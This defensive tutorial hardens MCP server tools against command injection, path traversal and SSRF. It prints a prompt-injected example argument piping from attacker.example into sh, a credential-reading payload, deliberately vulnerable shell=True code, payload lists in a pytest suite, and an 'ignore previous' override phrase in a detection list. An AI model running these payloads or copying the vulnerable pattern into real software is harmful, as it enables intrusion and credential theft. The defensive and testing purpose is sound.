The 43% problem: what the 2026 CVE class looks like

As of September 2026, the most common way an MCP server gets a CVE is not a clever protocol flaw. It is a tool function that takes a string from the model, glues it into a command line, and hands the result to a shell. This is the oldest bug in web security, and it has come back because MCP put a fresh generation of builders in front of subprocess with a caller that is far less trustworthy than a browser form.

The figures are consistent across independent sources. Equixly's offensive assessment of popular MCP server implementations found that 43% of the servers it tested contained command injection flaws, 22% allowed reading files outside their intended directory, and 30% permitted unrestricted URL fetching. Practical DevSecOps tallied the MCP CVEs published in a 60-day window of early 2026 and found that 13 of 30, again roughly 43%, were command-injection patterns. Microsoft's security team, writing in The state of MCP security in 2026, describes unsanitised input reaching a shell or a file path as "one of the largest classes of MCP vulnerabilities reported this year". Endor Labs, scanning 2,614 MCP implementations, found that 82% use file-system operations prone to path traversal and 34% call APIs susceptible to command injection. BlueRock scanned more than 7,000 public servers and found 36.7% vulnerable to server-side request forgery. Hasan and colleagues, in an academic study of 1,899 servers, found 5.5% exhibiting tool poisoning. We unpicked which of these numbers measure what, and who paid for them, in 143,000 Vulnerabilities Across 25,000 MCP Servers. The short version is that the headline totals are noisy but the direction is not: injection through arguments is the bug you will most likely ship.

Two published CVEs show the shape of the class better than any percentage. Both are small, both were preventable with the recipe in this article, and one of them is in the framework most of you use.

CVE Component Root cause Fix
CVE-2026-7812 (May 2026, CVSS 4.0: 6.9) git_operation tool in src/code_mcp/server.py of the 54yyyu code-mcp project The operation argument, supplied by the model, was passed to a command without neutralisation (CWE-74, CWE-77): the exact vulnerable pattern shown in Rule 1 below Allow-list the operation, build an argv list, run with shell=False
CVE-2025-62801 (October 2025, CVSS 4.0: 5.4) fastmcp install cursor in FastMCP before 2.13.0 open_deeplink() embedded server_name in a deeplink and, on Windows only, invoked it with shell=True via cmd.exe /c start, so &, |, > and ^ in the name escaped into commands Patched in FastMCP 2.13.0; upgrade, and never use shell=True on any platform to open a URL

Notice what the two rows have in common. Neither bug is in the MCP protocol. Neither is in a model. Both are in ordinary Python that took a string it did not control and let an interpreter read it. Also notice that the FastMCP bug was Windows-only, because the convenience path used a shell on one platform and not the others. That is the kind of asymmetry a test suite catches and a code review usually misses, which is why Rule 7 below exists.

This guide is deliberately narrow. If you want to know how to vet somebody else's server before you install it, read Vetting MCP Servers and Agent Skills Before You Install Them. If you have never built a server, start with the 12-step FastMCP guide or the longer tools, resources and security walkthrough. This article assumes you have a server, you are about to write a tool that touches a process, a file or a URL, and you want that one function to be un-injectable.

Pre-requisites and threat model: the model is an untrusted caller

You need Python 3.9 or later (for Path.is_relative_to), FastMCP 2.13 or later, and pytest with pytest-asyncio for the test suite. Everything below runs on Linux, macOS and Windows, and the Windows cases matter more than you think.

The threat model is the part most builders skip, so state it plainly. Every argument your tool receives was written by a language model. That model was reading text you did not author: a web page, a PDF, an email, a ticket, another tool's output. Any of those can contain a prompt injection that tells the model to call your tool with an argument of the attacker's choosing. The model is not malicious, but it is influenceable, and from the point of view of your subprocess call there is no difference. Treat every tool argument as attacker-controlled input arriving over the network, because, one hop upstream, that is exactly what it is. Our playbook on defending agents against prompt injection covers the upstream layers; this article is the last line, the one that has to hold when all of those fail.

It helps to picture two real teams. A Hyderabad SaaS team ships an MCP server so its support agent can run read-only git commands against customer integration repos. A Manchester agency ships one so a coding assistant can fetch documentation pages and read files from a docs folder. Both are ordinary, both are useful, and both are one f-string away from remote code execution on a box that also holds a database credential. CERT-In in India and the NCSC in the UK both publish secure-development guidance that applies unchanged here; what is new is only that the caller is a model. NSA's Artificial Intelligence Security Center said the same thing in its May 2026 cybersecurity information sheet, Model Context Protocol (MCP): Security Design Considerations for AI-Driven Automation: screen all inputs before processing, grant only the minimum access necessary, separate systems by trust level, and keep comprehensive logs of what tool was requested, by whom, and what resulted. The four rules below are that guidance turned into code.

Watch out

"The model would never send that" is not a control. The model sends whatever the text it just read told it to send. A tool description on a third-party server, a comment in a pull request, or a line in a customer's ticket can all instruct the model to call git_operation with operation="status; curl attacker.example | sh". Your function has to reject it regardless of how it got there.

Rule 1: never build a shell string

Here is the vulnerable pattern, reduced to the minimum needed to see it. It is essentially the shape of CVE-2026-7812, and I have seen it in code review at least a dozen times this year.

# VULNERABLE: minimal illustration only. Do not ship this.
import subprocess
from fastmcp import FastMCP

mcp = FastMCP("repo-tools")

@mcp.tool
def git_operation(operation: str, repo: str) -> str:
    """Run a git operation in a repository."""
    result = subprocess.run(
        f"git -C {repo} {operation}",   # model-supplied text becomes a shell line
        shell=True,                      # and a shell interprets it
        capture_output=True, text=True,
    )
    return result.stdout

Two things are wrong, and they compound. The f-string turns two untrusted strings into one command line. Then shell=True hands that line to /bin/sh (or cmd.exe on Windows), which parses it for ;, |, &&, backticks, $( ) and redirections. An operation value of status; cat ~/.aws/credentials runs two commands, and the second one is not yours.

The fix is not to sanitise the string. The fix is to never have a string. Pass an argument vector, a Python list, with shell=False, so the operating system starts the program directly and each list element arrives as exactly one argument, metacharacters and all, with nothing interpreting them. Then make sure nothing from the model becomes a program name, a flag or a sub-command. Here is the full replacement.

# FIXED: argv list, shell=False, allow-listed operations, rooted repo path
import subprocess
from pathlib import Path
from typing import Literal

from fastmcp import FastMCP

mcp = FastMCP("repo-tools")

REPO_ROOT = Path("/srv/repos").resolve()

# The only operations this tool may perform. The model picks one; it never
# supplies a flag, a sub-command or a program name.
GitOp = Literal["status", "log", "diff", "branch"]

GIT_ARGV: dict[str, list[str]] = {
    "status": ["git", "status", "--porcelain"],
    "log":    ["git", "log", "--oneline", "-n", "20"],
    "diff":   ["git", "diff", "--stat"],
    "branch": ["git", "branch", "--list"],
}


def safe_repo(repo: str) -> Path:
    """Map a model-supplied repo name onto a checked-out repo under REPO_ROOT."""
    target = (REPO_ROOT / repo).resolve()
    if not target.is_relative_to(REPO_ROOT) or not (target / ".git").is_dir():
        raise ValueError("repo must be a checked-out repository under the root")
    return target


@mcp.tool
def git_operation(operation: GitOp, repo: str) -> str:
    """Run a read-only git operation in an approved repository."""
    argv = GIT_ARGV[operation]            # fixed argv; nothing from the model in it
    result = subprocess.run(
        argv,
        cwd=safe_repo(repo),              # repo is validated, and used as cwd, not as an arg
        shell=False,
        capture_output=True,
        text=True,
        timeout=10,                       # a hung child must not hang the server
        check=False,
    )
    if result.returncode != 0:
        raise RuntimeError(f"git exited with status {result.returncode}")
    return result.stdout[:20_000]         # cap output so the model cannot be flooded

Read the fixed version for what is absent. The model's operation is a dictionary key, not a command fragment; if it is not one of four exact strings, GIT_ARGV[operation] raises, and, as Rule 2 shows, FastMCP will reject it before that line is even reached. The model's repo never appears in the argv at all; it selects a working directory, and only after safe_repo has proved that directory is a real repository under the root. There is no string for a shell to parse, because there is no shell.

The Node equivalent is the same idea with different names: child_process.exec takes a shell string and is the vulnerable one; child_process.execFile (or spawn without shell: true) takes a program and an array. Keep the array fixed and put the validated path in cwd.

// VULNERABLE: exec() always runs through a shell
const { exec } = require("node:child_process");
exec(`git -C ${repo} ${operation}`, cb);

// FIXED: execFile() starts git directly with a fixed argv
const { execFile } = require("node:child_process");
const GIT_ARGV = { status: ["status", "--porcelain"], log: ["log", "--oneline", "-n", "20"] };
if (!(operation in GIT_ARGV)) throw new Error("operation not allowed");
execFile("git", GIT_ARGV[operation], { cwd: safeRepo(repo), timeout: 10_000 }, cb);
Pro tip

If a model-supplied value genuinely has to appear inside the argv (a file name to cat, say), put a literal "--" element before it. Almost every POSIX tool stops parsing options at --, so a value of -rf or --upload-pack=evil is treated as a file name rather than a flag. It costs two characters and closes the option-injection hole that shell=False alone leaves open.

Rule 2: allow-list operations, not deny-list characters

The instinct after reading Rule 1 is to write a regex that strips ;, | and friends from the input. Resist it. Deny-lists lose, always, because the set of dangerous characters depends on the program, the platform and the encoding, and because you will forget one. On Windows, ^ and % are metacharacters that no Linux-trained developer thinks to block; the FastMCP advisory lists ^ explicitly. A null byte will truncate a path in C-level code even though Python happily carries it. Newlines separate commands in some contexts. Percent-encoded newlines (%0a) survive one decoding and bite on the next.

Allow-lists invert the problem. Instead of asking "which characters are dangerous?", you ask "which four things is this tool permitted to do?", enumerate them, and reject everything else by default. In FastMCP, the cleanest way to do that is in the type signature. A typing.Literal (or an Enum) tells three audiences the same thing at once: the reader of your code, the Pydantic validator that FastMCP runs on every incoming argument, and, crucially, the model.

That third audience is the one people miss. FastMCP generates the tool's JSON schema from the Python signature, and that schema is what the client sends to the model as the tool definition. A Literal["status", "log", "diff", "branch"] becomes an enum in the schema. The model therefore sees, in the tool definition itself, that operation is a four-way choice and not a free-text field. A well-behaved model will not generate "status; rm -rf /" because the schema does not admit it; a prompt-injected model that tries anyway is rejected by Pydantic before your function body runs. This is what the schema for the fixed tool looks like when a client calls tools/list.

{
  "name": "git_operation",
  "description": "Run a read-only git operation in an approved repository.",
  "inputSchema": {
    "type": "object",
    "properties": {
      "operation": {
        "type": "string",
        "enum": ["status", "log", "diff", "branch"]
      },
      "repo": { "type": "string" }
    },
    "required": ["operation", "repo"]
  }
}

Free-text arguments that you cannot turn into an enum still deserve a shape. Pydantic's Field with a pattern and a max_length, attached through Annotated, gets you a positive definition of what a repo name is allowed to look like, and it lands in the schema too.

from typing import Annotated
from pydantic import Field

RepoName = Annotated[
    str,
    Field(
        pattern=r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$",   # no slashes, no dots-only names
        description="Name of a repository under the approved root.",
    ),
]

@mcp.tool
def git_operation(operation: GitOp, repo: RepoName) -> str:
    ...

Note the pattern is positive: it says what a valid name is, not what an invalid one contains. It rejects .., /, spaces and null bytes without ever naming them, which is the whole point. And keep safe_repo anyway. Validation at the boundary and a filesystem check at the point of use are two independent layers, and the difference between one layer and two is the difference between a bug and a breach. If you want the wider architecture of tiers, scoped credentials and approvals, Agent Tool Permission Boundary Design is the companion piece; this article is about the code inside one tier.

Every article here is written by a Verified Builder. Want your name on the next one?

AI Tech Connect lists AI engineers, founders and researchers across India and the UK — and the people hiring browse it to find them. Adding your profile is free.

Become a Verified Builder →

Rule 3: path traversal and SSRF in file and fetch tools

The Manchester agency's server has no subprocess at all, and it is still exposed, because open() and requests.get() are interpreters too. A file-read tool that joins a model-supplied path onto a base directory and calls open() will happily return /etc/passwd, a .env file two directories up, or, through a symlink, anything the process can read. A fetch tool that takes a URL and returns the body is a proxy into your private network; on a cloud VM it is a proxy to the instance metadata endpoint at 169.254.169.254, which is how BlueRock demonstrated credential theft from Microsoft's MarkItDown MCP server. Endor Labs' 82% figure and BlueRock's 36.7% figure are these two bugs, at scale.

Path traversal has a mechanical fix. Resolve the candidate path to its real, absolute, symlink-free form, then prove it is inside the root. The order matters: resolve first, then compare, because comparing the unresolved string lets docs/../../secrets and symlinks through.

from pathlib import Path

FILES_ROOT = Path("/srv/docs").resolve()


def safe_path(relative: str) -> Path:
    """Resolve a model-supplied relative path and prove it stays under FILES_ROOT."""
    if "\x00" in relative:
        raise ValueError("null byte in path")
    candidate = Path(relative)
    if candidate.is_absolute():
        raise ValueError("absolute paths are not permitted")
    real = (FILES_ROOT / candidate).resolve(strict=True)   # follows symlinks, collapses ..
    if not real.is_relative_to(FILES_ROOT):
        raise ValueError("path escapes the document root")
    if not real.is_file():
        raise ValueError("not a regular file")
    return real


@mcp.tool
def read_doc(path: str) -> str:
    """Return the text of a documentation file under the approved root."""
    return safe_path(path).read_text(encoding="utf-8", errors="replace")[:50_000]

SSRF needs two checks, not one, and builders usually do only the first. The first is a host allow-list: a documentation fetcher needs perhaps three hostnames, so enumerate them and reject the rest, exactly as Rule 2 did for operations. The second is an address check after DNS resolution, because an allow-listed hostname can still resolve to a private, loopback or link-local address if someone controls its DNS, or if the list ever grows to include a wildcard. Refuse any scheme other than https; file://, gopher:// and ftp:// are the classic SSRF escalation schemes and none of them belongs in an agent's fetch tool.

import ipaddress
import socket
from urllib.parse import urlsplit

ALLOWED_HOSTS = frozenset({"docs.python.org", "api.github.com"})


def safe_url(url: str) -> str:
    """Accept only https URLs to allow-listed hosts that resolve to public addresses."""
    parts = urlsplit(url)
    if parts.scheme != "https":
        raise ValueError("only https URLs are permitted")
    host = (parts.hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        raise ValueError(f"host not on the allow-list: {host!r}")
    if parts.username or parts.password:
        raise ValueError("credentials in URLs are not permitted")
    for info in socket.getaddrinfo(host, 443, proto=socket.IPPROTO_TCP):
        ip = ipaddress.ip_address(info[4][0])
        if (ip.is_private or ip.is_loopback or ip.is_link_local
                or ip.is_reserved or ip.is_multicast or ip.is_unspecified):
            raise ValueError("host resolves to a non-public address")
    return url

Two caveats that belong in the code comments of anything you ship. First, a resolve-then-connect check has a small window in which DNS can change between your lookup and the HTTP client's (a rebinding attack); the robust fix is to connect to the address you validated, or to route all outbound fetches through an egress proxy that enforces the same policy. Second, follow redirects manually, or not at all, and re-run safe_url on every hop, because an allow-listed host that 302s to http://169.254.169.254/ has just walked around your check. Cap the response size and set a timeout for the same reason you capped stdout in Rule 1.

Rule 4: least privilege at the process boundary

Rules 1 to 3 make the function correct. Rule 4 assumes you got something wrong anyway, and limits what it costs. This is the layer the NSA sheet calls separating systems by trust level, and it is where the Hyderabad team's decision to run the git server as the same Unix user as the production database, on the same VM, turns a contained bug into an incident. The controls compose; pick from the table in order of cost, and do not stop at the first one.

Control What it limits What it does not limit Effort
Dedicated unprivileged user Reads and writes outside the server's own directories; sudo Network reach; other processes' sockets; anything world-readable Minutes: useradd --system mcp-git and a systemd User= line
Container with read-only root filesystem Persistence; tampering with the server's own code; most privilege escalation Outbound network by default; the kernel attack surface Hours: --read-only, a tmpfs for scratch, a non-root USER
Network policy (egress allow-list) Exfiltration; reaching metadata endpoints and internal services Damage to data the server legitimately reaches Hours: Kubernetes NetworkPolicy, or an egress proxy with the Rule 3 host list
seccomp or AppArmor profile Syscalls the server never needs, such as ptrace, mount, raw sockets Misuse of the syscalls it does need, such as execve for git Days: start from Docker's default seccomp profile and tighten
Per-request identity and audit log Nothing directly; it makes every other layer accountable and detectable The first malicious call; it is detective, not preventive Hours: log caller, tool, validated args, exit status, duration, to stderr or a file

On identity, the protocol has done half the work for you. Since the 2025-11-25 revision, the MCP authorization specification has a remote server act as an OAuth 2.1 resource server: it must validate the access token on every request and confirm that the token was issued for it specifically. The 2026-07-28 revision, which made the transport stateless and retired the session header, kept that model and hardened it further. What the spec does not give you is the link between that token and your tool's audit line, so add it yourself: when a tool runs, log the subject from the token, the tool name, the validated arguments (after Rule 2, never before), the exit status and the wall-clock time. When CERT-In or the NCSC publishes an advisory about an MCP server you run, that log is what tells you whether you were hit. The broader direction of travel, where the protocol puts agent identity ahead of new tool-calling features, is covered in MCP's New Roadmap Puts Agent Identity Ahead of Tool-Calling.

From a verified Builder

"The teams that get burned are not the ones who never heard of shell injection. They are the ones who fixed it in the request handler in 2019 and did not notice that the model is a request handler too. Every tool argument is a form field filled in by a stranger. Once you say that out loud, the code writes itself."

— Rishi Kora, Verified Builder · London, United Kingdom

Test it: a pytest suite that tries to break the tool

A security property you have not tested is a security property you have until the next refactor. The suite below drives the tool through FastMCP's in-memory Client, so every call goes through the same schema validation and error handling an agent would hit, and asserts rejection for the payload families that matter: shell metacharacters, option injection, traversal, absolute paths, null bytes, forbidden schemes, metadata and loopback addresses. It also asserts two things about the server's own surface: that the schema exposes operation as an enum, and that no tool description carries hidden instructions or zero-width characters, which is the tool-poisoning pattern Hasan and colleagues measured. Save it as tests/test_injection.py next to a repo_tools.py containing the code from Rules 1 to 3.

# tests/test_injection.py
import pytest
from fastmcp import Client
from fastmcp.exceptions import ToolError

import repo_tools
from repo_tools import mcp, safe_path, safe_url

SHELL_META = [";", "&&", "||", "|", "`", "$(", "\n", ">", "<", "%0a", "^", "%COMSPEC%"]
OPTION_INJECTION = ["--upload-pack=touch /tmp/pwned", "-c core.pager=id", "--output=/etc/cron.d/x"]
TRAVERSAL = ["../", "../../etc", "demo/../../..", "/etc", "..\\..\\windows", "-rf", "demo\x00"]
BAD_URLS = [
    "file:///etc/passwd",
    "http://docs.python.org/",                      # not https
    "https://169.254.169.254/latest/meta-data/",    # cloud metadata, not on the list
    "https://localhost/",
    "https://evil.example/",
    "gopher://api.github.com/",
    "https://user:pass@api.github.com/",
]


@pytest.mark.asyncio
@pytest.mark.parametrize("meta", SHELL_META)
async def test_operation_rejects_shell_metacharacters(meta):
    async with Client(mcp) as client:
        with pytest.raises(ToolError):
            await client.call_tool("git_operation", {"operation": f"status{meta} id", "repo": "demo"})


@pytest.mark.asyncio
@pytest.mark.parametrize("op", OPTION_INJECTION)
async def test_operation_rejects_option_injection(op):
    async with Client(mcp) as client:
        with pytest.raises(ToolError):
            await client.call_tool("git_operation", {"operation": op, "repo": "demo"})


@pytest.mark.asyncio
@pytest.mark.parametrize("repo", TRAVERSAL)
async def test_repo_rejects_traversal(repo):
    async with Client(mcp) as client:
        with pytest.raises(ToolError):
            await client.call_tool("git_operation", {"operation": "status", "repo": repo})


@pytest.mark.asyncio
async def test_schema_exposes_operation_as_enum():
    async with Client(mcp) as client:
        tool = next(t for t in await client.list_tools() if t.name == "git_operation")
        assert tool.inputSchema["properties"]["operation"]["enum"] == ["status", "log", "diff", "branch"]


@pytest.mark.parametrize("rel", ["../../etc/passwd", "/etc/passwd", "docs/../../secret", "a\x00b"])
def test_safe_path_rejects_traversal(tmp_path, monkeypatch, rel):
    monkeypatch.setattr(repo_tools, "FILES_ROOT", tmp_path.resolve())
    with pytest.raises((ValueError, FileNotFoundError)):
        safe_path(rel)


def test_safe_path_rejects_symlink_escape(tmp_path, monkeypatch):
    root = tmp_path / "root"
    root.mkdir()
    outside = tmp_path / "outside.txt"
    outside.write_text("secret")
    (root / "link.txt").symlink_to(outside)
    monkeypatch.setattr(repo_tools, "FILES_ROOT", root.resolve())
    with pytest.raises(ValueError):
        safe_path("link.txt")


@pytest.mark.parametrize("url", BAD_URLS)
def test_safe_url_rejects(url):
    with pytest.raises(ValueError):
        safe_url(url)


@pytest.mark.asyncio
async def test_tool_descriptions_carry_no_hidden_instructions():
    # Tool poisoning lives in descriptions, not in code. Assert ours are clean
    # so a future edit (or a compromised dependency) cannot slip one in.
    banned_phrases = ("ignore previous", "<important>", "do not tell the user", "system:")
    zero_width = {"​", "‌", "‍", "⁠", ""}
    async with Client(mcp) as client:
        for tool in await client.list_tools():
            desc = (tool.description or "")
            assert not any(p in desc.lower() for p in banned_phrases), tool.name
            assert not (set(desc) & zero_width), tool.name
            assert len(desc) < 600, tool.name

Run it with pytest -q tests/test_injection.py and wire it into CI so it runs on every pull request. Three habits make the suite pull its weight. Keep the payload lists in one place and add to them every time you read a new advisory; the FastMCP one, for instance, is why ^ and %COMSPEC% are in SHELL_META. Run the suite on a Windows runner as well as Linux, because that advisory was Windows-only. And never mock subprocess.run in these tests; the point is to prove the call is never reached with a bad argument, which is exactly what ToolError being raised first demonstrates. If you want the pattern for going beyond assertion tests into adversarial evaluation, Red-Teaming and Adversarial Safety Evals for LLM Apps picks up where this suite stops.

Common pitfalls and the rollout checklist

These are the mistakes I see most in reviews of servers that already "did the security work". Each one is a way of looking finished without being finished.

Escaping with shlex.quote and calling it done. shlex.quote makes a string safe for a POSIX shell to treat as one word. It does nothing for cmd.exe, it does nothing about option injection (--upload-pack=... is one perfectly quoted word), and it keeps you in the business of building a shell line. Use it only when you are generating a command for a human to copy; never as an injection defence.

Trusting the model's argument because the description told it what to send. A tool description that says "operation must be one of status, log, diff" is documentation, not enforcement. The model may ignore it, a different model may not read it, and a prompt injection will override it. Enforcement lives in the type and in the function; the description is a courtesy.

Logging raw arguments to stdout on the STDIO transport. On STDIO, stdout is the protocol channel: every byte you print is parsed by the client as JSON-RPC. A debug print(args) corrupts the stream, and if the argument contains something that looks like a JSON-RPC message you have handed the attacker a way to inject responses. Log to stderr or a file, and log the validated arguments after Rule 2 has run, not the raw ones.

Validating in the tool but not in the helper. Teams add Literal to the tool signature and then call the underlying GIT_ARGV lookup from a second internal code path, a cron job or a resource handler, with no validation at all. Put the check in the function that touches the process, so every caller gets it.

Forgetting timeouts and output caps. A tool that hangs or returns 40 MB is a denial of service against the agent and a context-window flood against the model. Both are one keyword argument away.

Using a convenience helper that shells out on one platform. That is the entire FastMCP CVE. Any function that opens a URL, a file or an editor "the native way" deserves a grep for shell=True and os.system, including inside your dependencies.

Recommended

Rollout checklist, in order. 1. Grep the server and its dependencies for shell=True, os.system, os.popen and child_process.exec; every hit needs a justification or a rewrite. 2. Every tool argument that selects behaviour is a Literal or Enum; every free-text argument has a positive pattern and a max_length. 3. Every path goes through safe_path; every URL through safe_url. 4. Every subprocess call has an argv list, timeout, and a capped return. 5. The injection test suite passes on Linux and Windows in CI. 6. The server runs as a dedicated user, in a container with a read-only root filesystem and an egress allow-list. 7. Each tool invocation writes one audit line with caller identity, tool, validated arguments and exit status. 8. Dependencies are pinned and you are on FastMCP 2.13.0 or later.

Conclusion and next steps

The 43% figure sounds like a statement about MCP. It is really a statement about how fast builders got put in front of subprocess with a caller they did not think of as hostile. The fix is not new: argv lists instead of shell strings, allow-lists instead of deny-lists, resolve-then-compare for paths, allow-list-then-resolve for URLs, and a process boundary that assumes you got something wrong. What is new is only the discipline of applying it to a function whose caller is a language model reading text an attacker may have written.

Do the work on one tool first. Take the function in your server that touches a process, a file or a URL, rewrite it against the four rules, write the test file, and watch it pass on both platforms. Then do the next one. When you are done, the Hyderabad support agent and the Manchester documentation assistant are still exactly as useful as they were, and neither can be turned into a shell by a line in a ticket. If you want to make failures smaller as well as rarer, Agents That Fail Safe is the natural next read. And if security engineering for agents is where you want your career to go, the proof-of-work path into AI agent security starts with precisely this kind of artefact: a server, a test suite, and a written explanation of why the shell never runs.